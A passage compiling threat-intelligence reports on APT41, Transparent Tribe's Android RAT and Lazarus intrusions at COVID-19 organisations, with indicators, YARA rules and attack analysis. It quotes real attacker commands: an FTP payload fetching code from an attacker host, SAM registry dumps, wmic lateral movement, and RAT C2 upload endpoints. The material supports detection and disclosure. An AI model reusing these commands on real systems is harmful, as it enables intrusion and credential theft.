91.208.184[.]78. We believe this is an example of +the actor attempting to diversify post-exploitation access to the compromised systems. +ManageEngine released a short term mitigation for CVE-2020-10189 on January 20, 2020, and subsequently released an +update on March 7, 2020, with a long term fix. +Outlook +This activity is one of the most widespread campaigns we have seen from China-nexus espionage actors in recent years. +While APT41 has previously conducted activity with an extensive initial entry such as the trojanizing of NetSarang +software, this scanning and exploitation has focused on a subset of our customers, and seems to reveal a high +operational tempo and wide collection requirements for APT41. +6/13 +It is notable that we have only seen these exploitation attempts leverage publicly available malware such as Cobalt Strike +and Meterpreter. While these backdoors are full featured, in previous incidents APT41 has waited to deploy more +advanced malware until they have fully understood where they were and carried out some initial reconnaissance. In 2020, +APT41 continues to be one of the most prolific threats that FireEye currently tracks. This new activity from this group +shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage. +Previously, FireEye Mandiant Managed Defense identified APT41 successfully leverage CVE-2019-3396 (Atlassian +Confluence) against a U.S. based university. While APT41 is a unique state-sponsored Chinese threat group that +conducts espionage, the actor also conducts financially motivated activity for personal gain. +Indicators +Type +Indicator(s) +CVE-2019-19781 Exploitation (Citrix +Application Delivery Control) +66.42.98[.]220 +CVE-2019-19781 exploitation attempts with a payload of +file /bin/pwd +CVE-2019-19781 exploitation attempts with a payload of +/usr/bin/ftp -o +/tmp/un ftp://test:[redacted]\@66.42.98[.]220/bsd +CVE-2019-19781 exploitation attempts with a payload of +/usr/bin/ftp -o +/tmp/un ftp://test:[redacted]\@66.42.98[.]220/un +/tmp/bsd +/tmp/un +Cisco Router Exploitation +66.42.98\.220 +1.txt + (MD5: c0c467c8e9b2046d7053642cc9bdd57d) + (MD5: 155e98e5ca8d662fad7dc84187340cbc +7/13 +CVE-2020-10189 (Zoho ManageEngine +Desktop Central) +66.42.98[.]220 +91.208.184[.]78 +74.82.201[.]8 +exchange.dumb1[.]com +install.bat (MD5: 7966c2c546b71e800397a67f942858d0) +storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f) +C:\Windows\Temp\storesyncsvc.dll +C:\Windows\Temp\install.bat +2.exe (MD5: 3e856162c36b532925c8226b4ed3481c) +C:\Users\[redacted]\install.bat +TzGG (MD5: 659bd19b562059f3f0cc978e15624fd9) +C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe spawning +cmd.exe and/or bitsadmin.exe +Certutil.exe downloading 2.exe and/or payloads from 91.208.184[.]78 +PowerShell downloading files with Net.WebClient +Detecting the Techniques +FireEye detects this activity across our platforms. This table contains several specific detection names from a larger list of +detections that were available prior to this activity occurring. +Platform +Signature Name +Endpoint Security +BITSADMIN.EXE MULTISTAGE DOWNLOADER (METHODOLOGY) +CERTUTIL.EXE DOWNLOADER A (UTILITY) +Generic.mg.5909983db4d9023e +Generic.mg.3e856162c36b5329 +POWERSHELL DOWNLOADER (METHODOLOGY) +SUSPICIOUS BITSADMIN USAGE B (METHODOLOGY) +SAMWELL (BACKDOOR) +SUSPICIOUS CODE EXECUTION FROM ZOHO MANAGE ENGINE (EXPLOIT) +8/13 +Network Security +Backdoor.Meterpreter +DTI.Callback +Exploit.CitrixNetScaler +Trojan.METASTAGE +Exploit.ZohoManageEngine.CVE-2020-10198.Pwner +Exploit.ZohoManageEngine.CVE-2020-10198.mdmLogUploader +Helix +CITRIX ADC [Suspicious Commands] +EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Attempt] +EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Success] +EXPLOIT - CITRIX ADC [CVE-2019-19781 Payload Access] +EXPLOIT - CITRIX ADC [CVE-2019-19781 Scanning] +MALWARE METHODOLOGY [Certutil User-Agent] +WINDOWS METHODOLOGY [BITSadmin Transfer] +WINDOWS METHODOLOGY [Certutil Downloader] +MITRE ATT&CK Technique Mapping +ATT&CK +Techniques +Initial +Access +External Remote Services (T1133), Exploit Public-Facing Application (T1190) +Execution +PowerShell (T1086), Scripting (T1064) +Persistence +New Service (T1050) +Privilege +Escalation +Exploitation for Privilege Escalation (T1068) +Defense +Evasion +BITS Jobs (T1197), Process Injection (T1055) +Command +Control +Remote File Copy (T1105), Commonly Used Port (T1436), Uncommonly Used Port (T1065), Custom +Command and Control Protocol (T1094), Data Encoding (T1132), Standard Application Layer Protocol +(T1071) +Appendix A: Discovery Rules +The following Yara rules serve as examples of discovery rules for APT41 actor TTPs, turning the adversary methods or +tradecraft into new haystacks for purposes of detection or hunting. For all tradecraft-based discovery rules, we +recommend deliberate testing and tuning prior to implementation in any production system. Some of these rules are +9/13 +tailored to build concise haystacks that are easy to review for high-fidelity detections. Some of these rules are broad in +aperture that build larger haystacks for further automation or processing in threat hunting systems. +import "pe" +rule ExportEngine_APT41_Loader_String +meta: +author = "@stvemillertime" +description "This looks for a common APT41 Export DLL name in BEACON shellcode loaders, such as +loader_X86_svchost.dll" +strings: +$pcre = /loader_[\x00-\x7F]{1,}\x00/ +condition: +uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at +pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) ++ 12)) +rule ExportEngine_ShortName +meta: +author = "@stvemillertime" +description = "This looks for Win PEs where Export DLL name is a single character" +strings: +$pcre = /[A-Za-z0-9]{1}\.(dll|exe|dat|bin|sys)/ +condition: +uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at +pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) ++ 12)) +rule ExportEngine_xArch +meta: +author = "@stvemillertime" +description = "This looks for Win PEs where Export DLL name is a something like x32.dat" +10/13 +strings: +$pcre = /[\x00-\x7F]{1,}x(32|64|86)\.dat\x00/ +condition: +uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at +pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) ++ 12)) +rule RareEquities_LibTomCrypt +meta: +author = "@stvemillertime" +description = "This looks for executables with strings from LibTomCrypt as seen by some APT41-esque actors +https://github.com/libtom/libtomcrypt - might catch everything BEACON as well. You may want to exclude Golang and UPX +packed samples." +strings: +$a1 = "LibTomMath" +condition: +uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $a1 +rule RareEquities_KCP +meta: +author = "@stvemillertime" +description = "This is a wide catchall rule looking for executables with equities for a transport library called KCP, +https://github.com/skywind3000/kcp Matches on this rule may have built-in KCP transport ability." +strings: +$a01 = "[RO] %ld bytes" +$a02 = "recv sn=%lu" +$a03 = "[RI] %d bytes" +$a04 = "input ack: sn=%lu rtt=%ld rto=%ld" +$a05 = "input psh: sn=%lu ts=%lu" +$a06 = "input probe" +$a07 = "input wins: %lu" +11/13 +$a08 = "rcv_nxt=%lu\\n" +$a09 = "snd(buf=%d, queue=%d)\\n" +$a10 = "rcv(buf=%d, queue=%d)\\n" +$a11 = "rcvbuf" +condition: +(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize < 5MB and 3 of ($a*) +rule ConventionEngine_Term_Users +meta: +author = "@stvemillertime" +description = "Searching for PE files with PDB path keywords, terms or anomalies." +sample_md5 = "09e4e6fa85b802c46bc121fcaecc5666" +ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debugdetails-part-one-pdb-paths-malware.html" +strings: +$pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Users[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii +condition: +(uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre +rule ConventionEngine_Term_Desktop +meta: +author = "@stvemillertime" +description = "Searching for PE files with PDB path keywords, terms or anomalies." +sample_md5 = "71cdba3859ca8bd03c1e996a790c04f9" +ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debugdetails-part-one-pdb-paths-malware.html" +strings: +$pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Desktop[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii +condition: +12/13 +(uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre +rule ConventionEngine_Anomaly_MultiPDB_Double +meta: +author = "@stvemillertime" +description = "Searching for PE files with PDB path keywords, terms or anomalies." +sample_md5 = "013f3bde3f1022b6cf3f2e541d19353c" +ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debugdetails-part-one-pdb-paths-malware.html" +strings: +$pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}\.pdb\x00/ +condition: +(uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and #pcre == 2 +13/13 +Transparent Tribe: Evolution analysis, part 2 +securelist.com/transparent-tribe-part-2/98233 +Giampaolo Dedola +Background + Key findings +Transparent Tribe, also known as PROJECTM or MYTHIC LEOPARD, is a highly prolific +group whose activities can be traced as far back as 2013. In the last four years, this APT +group has never taken time off. They continue to hit their targets, which typically are +Indian military and government personnel. +This is the second of two articles written to share the results of our recent investigations +into Transparent Tribe. In the previous article, we described the various Crimson RAT +components and provided an overview of impacted users. Here are some of the key insights +that will be described in this part: +We found a new Android implant used by Transparent Tribe for spying on mobile +devices. It was distributed in India disguised as a porn-related app and a fake +national COVID-19 tracking app. +New evidence confirms a link between ObliqueRAT and Transparent Tribe. +Android implant +During our analysis, we found an interesting sample, which follows a variant of the +previously described attack scheme. Specifically, the attack starts with a simple document, +which is not malicious by itself, does not contain any macro and does not try to download +other malicious components, but it uses social engineering tricks to lure the victim into +downloading other documents from the following external URLs: +hxxp://sharingmymedia[.]com/files/Criteria-of-Army-Officers.doc +1/12 +hxxp://sharingmymedia[.]com/files/7All-Selected-list.xls +15DA10765B7BECFCCA3325A91D90DB37 + Special Benefits.docx +The remote files are two Microsoft Office documents with an embedded malicious VBA, +which behaves similarly to those described in the previous article and drops the Crimson +Thin Client +. The domain sharingmymedia[.]com was even more interesting: it was +resolved with the IP 89.45.67[.]160 and was registered on 2020-01-10 using Namesilo and +the following information: +Registrant Name: bluff hunnter +Registrant Organization: +Registrant Street: India Dehli +Registrant City: Dehli +Registrant State/Province: Delhi +2/12 +Registrant Postal Code: 110001 +Registrant Country: IN +Registrant Phone: +91.4214521212 +Registrant Phone Ext: +Registrant Fax: +Registrant Fax Ext: +Registrant Email: hunterbluff007@gmail.com +The same information was used to register another domain, sharemydrives[.]com, which +was registered seven days before, on 2020-01-03, using Namesilo. DNS resolution points +to the same IP address: 89.45.67[.]160. +Using our Kaspersky Threat Intelligence Portal, we found the following related URL: +Information in Kaspersky Threat Intelligence Portal +The file is a modified version of MxVideoPlayer, a simple open-source video player for +Android, downloadable from GitHub and used by Transparent Tribe to drop and execute +their Android RAT. +3/12 +Desi-porn.apk screenshot +The dropper tries to find a list of +legitimate packages on the system: +imo.android.imoim +snapchat.android +viber.voip +facebook.lite +If the device was produced by +Xiaomi, it also checks if the +com.truecaller package is present. +4/12 +The code used to check if legitimate packages are installed +The first application on the list that is not installed on the system will be selected as the +target application. The malware embeds multiple APK files, which are stored in a directory +named +assets +. The analyzed sample includes the following packages: +apk a20fc273a49c3b882845ac8d6cc5beac +apk 53cd72147b0ef6bf6e64d266bf3ccafe +apk bae69f2ce9f002a11238dcf29101c14f +apk b8006e986453a6f25fd94db6b7114ac2 +apk 4556ccecbf24b2e3e07d3856f42c7072 +apk 6c3308cd8a060327d841626a677a0549 +The selected APK is copied to /.System/APK/. By default, the application tries to save the +file to external storage, otherwise it saves it to the data directory. +Finally, the application tries to install the copied APK. The final malware is a modified +version of the AhMyth Android RAT, open-source malware downloadable from GitHub, +which is built by binding the malicious payload inside other legitimate applications. +5/12 +The original AhMyth RAT includes support for the following commands: +Commands Additional Value +fields +Description +x0000ca +x0000fm +x0000sm +extra +camlist +get a camera list +extra +get a photo from the camera with the id 1 +extra +get a photo from the camera with the id 0 +extra +path +%dirpath% +get a list of files in the directory specified in +the +path + variable. +extra +path +%filepath% +upload the specified file to the C2 +extra +get a list of text messages +extra +sendSMS +%number% +send a new text to another number +%message% +x0000cl +get the call log +x0000cn +get contacts +x0000mc +%seconds% +x0000lm +record audio from the microphone for the +specified number of seconds and upload the +resulting file to the C2. +get the device location +Basically, it provides the following features: +camera manager (list devices and steal screenshots) +file manager (enumerate files and upload these to the C2) +SMS manager (get a list of text messages or send a text) +get the call log +get the contact list +microphone manager +location manager (track the device location) +6/12 +The RAT that we analyzed is slightly different from the original. It includes new features +added by the attackers to improve data exfiltration, whereas some of the core features, +such as the ability to steal pictures from the camera, are missing. +The operators added the following commands: +x000upd + download a new APK from the URL specified in the +path + field. +x000adm + autodownloader: not implemented in the version we analyzed, but +available in other samples. +Moreover, the creators of the RAT also improved its audio surveillance capabilities and +included a command to delete text messages with specific contents. +Commands Additional Value +fields +Description +x000upd +download a new APK from the URL specified +in the +path + field +path +%url% +x000adm +x0000mc +x0000fm +not implemented in the analyzed version. +Other samples use this to start a class +named +autodownloader +extra +%seconds% +record audio for x seconds and upload the +resulting file to the C2. Duration is specified +in the + value. +extra +stop recording and upload the resulting file to +the C2 +extra +start recording continuously. This generates +MP3 files stored in the +/.System/Records/ +directory. +extra +path +%dirpath% +get a list of files in the directory specified in +the +path + variable +extra +path +%filepath% +upload the specified file to +hxxp://212.8.240[.]221:80/server/upload.php +extra +get a list of text messages +extra +sendSMS +%number% +Send a new text to another number. +%message% +7/12 +extra +deleteSMS +Delete a text that contains the string +%message% specified in the + value. The + value is +ignored. +x0000cl +get the call log +x0000cn +get contacts +x0000lm +get the device location +The +autodownloader + is a method used for performing the following actions: +upload a contact list +upload a text message list +upload files stored in the following directories: +/.System/Records/ +/Download/ +/DCIM/Camera/ +/Documents/ +/WhatsApp/Media/WhatsApp Images/ +/WhatsApp/Media/WhatsApp Documents/ +The attacker uses the method to collect contacts and text messages automatically. In +addition, the method collects the following: audio files created with the +x0000mc +command and stored in /.System/Records/, downloaded files, photos, images and +documents shared via WhatsApp and other documents stored on the device. +Another interesting difference between the original AhMyth and the one modified by +Transparent Tribe is the technique used for getting the C2 address. The original version +stores the C2 server as a string directly embedded in the code, whereas the modified +version uses a different approach. It embeds another URL encoded with Base64 and used +for getting a configuration file, which contains the real C2 address. +In our sample, the URL was as follows: +hxxp://tryanotherhorse[.]com/config.txt +It provided the following content: +212.8.240.221:5987 +http://www.tryanotherhorse.com +The first value is the real C2, which seems to be a server hosted in the Netherlands. +8/12 +The modified version communicates via a different URL scheme, which includes more +information: +Original URL scheme: http://%server%:%port? +model=%val%&manf=%val%&release=%val%&id=%val% +Modified URL scheme http://%server%:%port? +mac=%val%&battery=%val%&model=%val%&manf=%val%&release=%val%&id=%val% +Covid-19 tracking app +We found evidence of Transparent Tribe taking advantage of pandemic-tracking +applications to distribute trojanized code. Specifically, we found an APK file imitating +Aarogya Setu, a COVID-19 tracking mobile application developed by the National +Informatics Centre under the Ministry of Electronics and Information Technology, +Government of India. It allows users to connect to essential health services in India. +The discovered application tries to connect to the same malicious URL to get the C2 IP +address: +hxxp://tryanotherhorse[.]com/config.txt +It uses the same URL scheme described earlier and it embeds the following APK packages: +apk CF71BA878434605A3506203829C63B9D +apk 627AA2F8A8FC2787B783E64C8C57B0ED +apk 62FAD3AC69DB0E8E541EFA2F479618CE +apk A912E5967261656457FD076986BB327C +apk 3EB36A9853C9C68524DBE8C44734EC35 +apk 931435CB8A5B2542F8E5F29FD369E010 +Interestingly enough, at the end of April, the Indian Army issued a warning to its personnel +against Pakistani agencies + nefarious designs to hack the phones of Indian military +personnel through a malicious application similar to Aarogya Setu. +According to some Indian online news sites, these applications were found to be sent by +Pakistani Intelligence Operatives to WhatsApp groups of Indian Army personnel. It also +mentioned that these applications later deployed additional packages: +According to some Indian online news sites, these applications were found to be sent by +Pakistani Intelligence Operatives to WhatsApp groups of Indian Army personnel. It also +mentioned that these applications later deployed additional packages: +face.apk +imo.apk +normal.apk +9/12 +trueC.apk +snap.apk +viber.apk +Based on public information, the application may have been distributed by sending a +malicious link via WhatsApp, SMS, phishing email or social media. +ObliqueRAT connection +ObliqueRAT is another malicious program, described by Cisco Talos in an interesting +article published in February. It was attributed to Transparent Tribe because some +samples were distributed through malicious documents forged with macros that resembled +those used for distributing Crimson RAT. +The report described two ObliqueRAT variants, one distributed via a malicious document +as the infection vector and another one, named +Variant #0 + and distributed with a +dropper. +4a25e48b8cf515f4cdd6711a69ccc875429dcc32007adb133fb25d63e53e2ac6 +Unfortunately, as reported by Talos, +The initial distribution vector of this dropper is +currently unknown +At this time, we do not have the full infection chain, but we can add another piece to the +puzzle, because sharemydrives[.]com also hosted another file: +Information in Kaspersky Threat Intelligence Portal +The wifeexchange.exe sample is another dropper, which disguises itself as a porn clip. +Specifically, the executable file uses the same icon used by Windows for multimedia files. +Dropper icon +Once executed, the process tries to find a specific marker ( +inside its file image, then drops and opens the following files: +frame.exe +4a25e48b8cf515f4cdd6711a69ccc875429dcc32007adb133fb25d63e53e2ac6 +10/12 +movie.mp4 +Frame.exe is the dropper described by Talos, while movie.mp4 is a small porn clip. +Conclusions +Transparent Tribe members are trying to add new tools to extend their operations and +infect mobile devices. They are also developing new custom .NET tools like ObliqueRAT, +and as observed in the first report, we do not expect this group to slow down any time soon. +We will keep monitoring their activities. +The followings IoC list is not complete. If you want more information about the APT +discussed here, a full IoC list and YARA rules are available to customers of Kaspersky +Threat Intelligence Reports. Contact: intelreports@kaspersky.com +15DA10765B7BECFCCA3325A91D90DB37 + Special Benefits.docx +48476DA4403243B342A166D8A6BE7A3F + 7All_Selected_list.xls +B3F8EEE133AE385D9C7655AAE033CA3E + Criteria of Army Officers.doc +D7D6889BFA96724F7B3F951BC06E8C02 + wifeexchange.exe +0294F46D0E8CB5377F97B49EA3593C25 + Android Dropper + Desi-porn.apk +5F563A38E3B98A7BC6C65555D0AD5CFD + Android Dropper + Aarogya Setu.apk +A20FC273A49C3B882845AC8D6CC5BEAC + Android RAT + face.apk +53CD72147B0EF6BF6E64D266BF3CCAFE + Android RAT + imo.apk +BAE69F2CE9F002A11238DCF29101C14F + Android RAT + normal.apk +B8006E986453A6F25FD94DB6B7114AC2 + Android RAT + snap.apk +4556CCECBF24B2E3E07D3856F42C7072 + Android RAT + trueC.apk +6C3308CD8A060327D841626A677A0549 + Android RAT + viber.apk +CF71BA878434605A3506203829C63B9D + Android RAT + face.apk +627AA2F8A8FC2787B783E64C8C57B0ED + Android RAT + imo.apk +62FAD3AC69DB0E8E541EFA2F479618CE + Android RAT + normal.apk +A912E5967261656457FD076986BB327C + Android RAT + snap.apk +3EB36A9853C9C68524DBE8C44734EC35 + Android RAT + trueC.apk +931435CB8A5B2542F8E5F29FD369E010 + Android RAT + viber.apk +hxxp://sharingmymedia[.]com/files/Criteria-of-Army-Officers.doc +hxxp://sharingmymedia[.]com/files/7All-Selected-list.xls +hxxp://sharemydrives[.]com/files/Laptop/wifeexchange.exe +hxxp://sharemydrives[.]com/files/Mobile/Desi-Porn.apk +11/12 +hxxp://tryanotherhorse[.]com/config.txt + APK URL +212.8.240[.]221:5987 + Android RAT C2 +hxxp://212.8.240[.]221:80/server/upload.php + URL used by Android RAT to upload files +12/12 +Lazarus covets COVID-19-related intelligence +securelist.com/lazarus-covets-covid-19-related-intelligence/99906 +Authors +Seongsu Park +As the COVID-19 crisis grinds on, some threat actors are trying to speed up vaccine development by any means +available. We have found evidence that actors, such as the Lazarus group, are going after intelligence that could help +these efforts by attacking entities related to COVID-19 research. +While tracking the Lazarus group +s continuous campaigns targeting various industries, we discovered that they +recently went after COVID-19-related entities. They attacked a pharmaceutical company at the end of September, +and during our investigation we discovered that they had also attacked a government ministry related to the COVID19 response. Each attack used different tactics, techniques and procedures (TTPs), but we found connections +between the two cases and evidence linking those attacks to the notorious Lazarus group. +Relationship of recent Lazarus group attack +In this blog, we describe two separate incidents. The first one is an attack against a government health ministry: on +October 27, 2020, two Windows servers were compromised at the ministry. We were unable to identify the infection +vector, but the threat actor was able to install a sophisticated malware cluster on these servers. We already knew this +malware as +wAgent +. It +s main component only works in memory and it fetches additional payloads from a remote +server. +The second incident involves a pharmaceutical company. According to our telemetry, this company was breached on +September 25, 2020. This time, the Lazarus group deployed the Bookcode malware, previously reported by ESET, in +a supply chain attack through a South Korean software company. We were also able to observe post-exploitation +commands run by Lazarus on this target. +Both attacks leveraged different malware clusters that do not overlap much. However, we can confirm that both of +them are connected to the Lazarus group, and we also found overlaps in the post-exploitation process. +wAgent malware cluster +The malware cluster has a complex infection scheme: +1/10 +Infection scheme of the wAgent malware cluster +Unfortunately, we were unable to obtain the starter module used in this attack. The module seems to have a trivial +role: executing wAgent with specific parameters. One of the wAgent samples we collected has fake metadata in order +to make it look like the legitimate compression utility XZ Utils. +According to our telemetry, this malware was directly executed on the victim machine from the command line shell by +calling the Thumbs export function with the parameter: +c:\windows\system32\rundll32.exe C:\Programdata\Oracle\javac.dat, Thumbs 8IZ-VU7-109-S2MY +The 16-byte string parameter is used as an AES key to decrypt an embedded payload + a Windows DLL. When the +embedded payload is loaded in memory, it decrypts configuration information using the given decryption key. The +configuration contains various information including C2 server addresses, as well as a file path used later on. +Although the configuration specifies two C2 servers, it contains the same C2 server twice. Interestingly, the +configuration has several URL paths separated with an + symbol. The malware attempts to connect to each URL +path randomly. +C2 address in the configuration +When the malware is executed for the first time, it generates identifiers to distinguish each victim using the hash of a +random value. It also generates a 16-byte random value and reverses its order. Next, the malware concatenates this +random 16-byte value and the hash using + as a delimiter. i.e.: 82UKx3vnjQ791PL2@29312663988969 +POST parameter names (shown below) are decrypted at runtime and chosen randomly at each C2 connection. We +previously seen and reported to our Threat Intelligence Report customers that a very similar technique was used +when the Lazarus group attacked cryptocurrency businesses with an evolved downloader malware. It is worth noting +that Tistory is a South Korean blog posting service, which means the malware author is familiar with the South Korean +internet environment: +2/10 +plugin course property tistory tag vacon slide parent manual themes product notice portal articles category doc +entry isbn tb idx tab maincode level bbs method thesis content blogdata tname +The malware encodes the generated identifier as base64 and POSTs it to the C2. Finally, the agent fetches the next +payload from the C2 server and loads it in memory directly. Unfortunately, we couldn +t obtain a copy of it, but +according to our telemetry, the fetched payload is a Windows DLL containing backdoor functionalities. Using this inmemory backdoor, the malware operator executed numerous shell commands to gather victim information: +cmd.exe /c ping -n 1 -a 192.[redacted] +cmd.exe /c ping -n 1 -a 192.[redacted] +cmd.exe /c dir \\192.[redacted]\c$ +cmd.exe /c query user +cmd.exe /c net user [redacted] /domain +cmd.exe /c whoami +Persistent wAgent deployed +Using the wAgent backdoor, the operator installed an additional wAgent payload that has a persistence mechanism. +After fetching this DLL, an export called SagePlug was executed with the following command line parameters: +rundll32.exe c:\programdata\oracle\javac.io, SagePlug 4GO-R19-0TQ-HL2A +c:\programdata\oracle\~TMP739.TMP +4GO-R19-0TQ-HL2A is used as a key and the file path indicates where debugging messages are saved. This wAgent +installer works similarly to the wAgent loader malware described above. It is responsible for loading an embedded +payload after decrypting it with the 16-byte key from the command line. In the decrypted payload, the malware +generates a file path to proceed with the infection: +C:\Windows\system32\[random 2 characters]svc.drv +This file is disguised as a legitimate tool named SageThumbs Shell Extension. This tool shows image files directly in +Windows Explorer. However, inside it contains an additional malicious routine. +While creating this file, the installer module fills it with random data to increase its size. The malware also copies +cmd.exe +s creation time to the new file in order to make it less easy to spot. +For logging and debugging purposes, the malware stores information in the file provided as the second argument +(c:\programdata\oracle\~TMP739.TMP in this case). This log file contains timestamps and information about the +infection process. We observed that the malware operators were checking this file manually using Windows +commands. These debugging messages have the same structure as previous malware used in attacks against +cryptocurrency businesses involving the Lazarus group. More details are provided in the Attribution section. +After that, the malware decrypts its embedded configuration. This configuration data has a similar structure as the +aforementioned wAgent malware. It also contains C2 addresses in the same format: +hxxps://iski.silogica[.]net/events/serial.jsp@WFRForms.jsp@import.jsp@view.jsp@cookie.jsp +hxxp://sistema.celllab[.]com.br/webrun/Navbar/auth.jsp@cache.jsp@legacy.jsp@chooseIcon.jsp@customZoom.jsp +hxxp://www.bytecortex.com[.]br/eletronicos/digital.jsp@exit.jsp@helpform.jsp@masks.jsp@Functions.jsp +hxxps://sac.najatelecom.com[.]br/sac/Dados/ntlm.jsp@loading.jsp@access.jsp@local.jsp@default.jsp +The malware encrypts configuration data and stores it as a predefined registry key with its file name: +3/10 +HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Application\Emulate + [random 2 +characters]svc +It also takes advantage of the Custom Security Support Provider by registering the created file path to the end of the +existing registry value. Thanks to this registry key, this DLL will be loaded by lsass.exe during the next startup. +HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa + Security Packages : kerberos msv1_0 +schannel wdigest tspkg pku2u [random 2 characters]svc.drv +Finally, the starter module starts the [random 2 characters]svc.drv file in a remote process. It searches for the first +svchost.exe process and performs DLL injection. The injected [random 2 characters]svc.drv malware contains a +malicious routine for decrypting and loading its embedded payload. The final payload is wAgent, which is responsible +for fetching additional payloads from the C2, possibly a fully featured backdoor, and loading it in the memory. +Bookcode malware cluster +The pharmaceutical company targeted by Lazarus group +s Bookcode malware is developing a COVID-19 vaccine and +is authorized to produce and distribute COVID-19 vaccines. We previously saw Lazarus attack a software company in +South Korea with Bookcode malware, possibly targeting the source code or supply chain of that company. We have +also witnessed the Lazarus group carry out spear phishing or strategic website compromise in order to deliver +Bookcode malware in the past. However, we weren +t able to identify the exact initial infection vector for this incident. +The whole infection procedure confirmed by our telemetry is very similar to the one described in ESET +s latest +publication on the subject. +Bookcode infection procedure +Although we didn +t find the piece of malware tasked with deploying the loader and its encrypted Bookcode payload, +we were able to identify a loader sample. This file is responsible for loading an encrypted payload named +gmslogmgr.dat located in the system folder. After decrypting the payload, the loader finds the Service Host Process +(svchost.exe) with winmgmt, ProfSvc or Appinfo parameters and injects the payload into it. Unfortunately, we couldn +acquire the encrypted payload file, but we were able to reconstruct the malware actions on the victim machine and +identify it as the Bookcode malware we reported to our Threat Intelligence Report customers. +4/10 +Upon execution, the Bookcode malware reads a configuration file. While previous Bookcode samples used the file +perf91nc.inf as a configuration file, this version reads its configuration from a file called C_28705.NLS. This Bookcode +sample has almost identical functionality as the malware described in the comprehensive report recently published by +Korea Internet & Security Agency (KISA). As described on page 57 of that report, once the malware is started it sends +information about the victim to the attacker +s infrastructure. After communicating with the C2 server, the malware +provides standard backdoor functionalities. +Post-exploitation phase +The Lazarus group +s campaign using the Bookcode cluster has its own unique TTPs, and the same modus operandi +was used in this attack. +Extracting infected host information, including password hashes, from the registry sam dump. +Using Windows commands in order to check network connectivity. +Using the WakeMeOnLan tool to scan hosts in the same network. +After installing Bookcode on September 25, 2020, the malware operator started gathering system and network +information from the victim. The malware operator also collected a registry sam dump containing password hashes: +exe /c +reg.exe save hklm\sam %temp%\~reg_sam.save > +%temp%\BD54EA8118AF46.TMP~ + 2>&1 +exe /c +reg.exe save hklm\system %temp%\~reg_system.save > +%temp%\405A758FA9C3DD.TMP~ + 2>&1 +In the lateral movement phase, the malware operator used well-known methodologies. After acquiring account +information, they connected to another host with the + command and executed a copied payload with the +wmic +command. +exe /c +netstat -aon | find +ESTA + > %temp%\~431F.tmp +exe /c +net use \\172.[redacted] +[redacted] + /u:[redacted] > %temp%\~D94.tmp + 2>&1 +wmic /node:172.[redacted] /user:[redacted] /password: +[redacted] + process call create +%temp%\engtask.exe +%temp%\~9DC9.tmp + 2>&1 +Moreover, Lazarus used ADfind in order to collect additional information from the Active Directory. Using this utility, +the threat actor extracted a list of the victim +s users and computers. +Infrastructure of Bookcode +As a result of closely working with the victim to help remediate this attack, we discovered an additional configuration +file. It contains four C2 servers, all of which are compromised web servers located in South Korea. +hxxps://www.kne.co[.]kr/upload/Customer/BBS.asp +hxxp://www.k-kiosk[.]com/bbs/notice_write.asp +hxxps://www.gongim[.]com/board/ajax_Write.asp +hxxp://www.cometnet[.]biz/framework/common/common.asp +One of those C2 servers had directory listing enabled, so we were able to gain insights as to how the attackers +manage their C2 server: +Attacker files listed on a compromised website +We discovered several log files and a script from the compromised server, which is a +first-stage + C2 server. It +receives connections from the backdoor, but only serves as a proxy to a +second-stage + server where the operators +actually store orders. +5/10 +File name +Description +_ICEBIRD007.dat +A log file containing the identifier of victims and timestamps. +~F05990302ERA.jpg +Second-stage C2 server address: +hxxps://www.locknlockmall[.]com/common/popup_left.asp +Customer_Session.asp +Malware control script. +Customer_Session.asp is a first-stage C2 script responsible for delivering commands from the next-stage C2 server +and command execution results from the implant. In order to deliver proper commands to each victim, the bbs_code +parameter from the implants is used as an identifier. The script uses this identifier to assign commands to the correct +victims. Here is how the process of sending an order for a particular victim works: +1. The malware operator sets the corresponding flag([id]_208) of a specific implant and saves the command to the +variable([id]_210). +2. The implant checks the corresponding flag([id]_208) and retrieves the command from the variable([id]_210) if it +is set. +3. After executing the command, the implant sends the result to the C2 server and sets the corresponding flag. +4. The malware operator checks the flag and retrieves the result if the flag is set. +Logic of the C2 script +Besides implant control features, the C2 script has additional capabilities such as updating the next-stage C2 server +address, sending the identifier of the implant to the next-stage server or removing a log file. +table_nm value +Function +name +Description +table_qna +qnaview +Set [id]_209 variable to TRUE and save the +content + parameter value to +[id]_211. +table_recruit +recuritview +If [id]_209 is SET, send contents of [id]_211 and reset it, and set [ID]_209 to +FALSE. +table_notice +notcieview +Set [id]_208 and save the +content + parameter value to [id]_210. +table_bVoice +voiceview +If [id]_208 is SET, send contents of [id]_210 and reset 